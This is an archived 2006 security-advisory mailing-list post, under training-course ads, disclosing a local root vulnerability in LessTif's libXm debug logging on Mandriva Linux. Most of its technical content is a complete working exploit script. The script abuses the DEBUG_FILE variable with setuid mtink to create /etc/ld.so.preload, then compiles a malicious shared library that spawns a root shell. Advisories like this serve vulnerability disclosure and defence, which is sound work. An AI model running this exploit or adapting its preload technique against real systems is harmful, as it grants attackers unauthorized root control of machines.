Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[UNIX] Liblesstif Local Root (Exploit)

Subject: [UNIX] Liblesstif Local Root (Exploit)
Date: 8 Aug 2006 14:57:47 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Liblesstif Local Root (Exploit)
------------------------------------------------------------------------


SUMMARY

LessTif is "the Hungry Programmers' version of OSF/Motif. It aims to be 
source compatible meaning that the same source code should compile with 
both and work exactly the same". LibXm a part of LessTif handles debug 
logging in insecure manner leading to local root exploit.

DETAILS

Vulnerable Systems:
 * liblesstif2-0.93.94-4mdk on Mandriva Linux 2006

Library allows to set logging of debugging information to file by setting 
up environment variable DEBUG_FILE. While executing setuid binary linked 
against libXm library, it doesn't check anything. Library opens file in 
append mode with permission according to umask, so there is possibility to 
create world writable, root owned files.

Analysis:
Creating world writable file with effective uid of root, allows in various 
ways to elevate privileges f.ex. by creating /etc/ld.so.preload.

Exploit:
Exploit needs mtink to be setuid (default in Mandriva Linux 2006)
#!/bin/sh
echo
echo "mtink libXm local root exploit"
echo "* karol@wiesek.pl *"
echo
umask 000
export DEBUG_FILE="/etc/ld.so.preload"
cat > /tmp/lib.c << _EOF
#include <unistd.h>
void _init(void)
{
if (getuid()!=0 && geteuid()==0)
{
setuid(0);
unlink("/etc/ld.so.preload");
execl("/bin/bash", "bash", 0);
}
}
_EOF
/usr/bin/gcc -o /tmp/lib.o -c /tmp/lib.c
/usr/bin/ld -shared -o /tmp/lib.so /tmp/lib.o
/usr/bin/mtink
echo "/tmp/lib.so" > /etc/ld.so.preload
/bin/ping


ADDITIONAL INFORMATION

The information has been provided by  <mailto:karol@wiesek.pl> Karol 
Wiesek.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [UNIX] Liblesstif Local Root (Exploit), SecuriTeam <=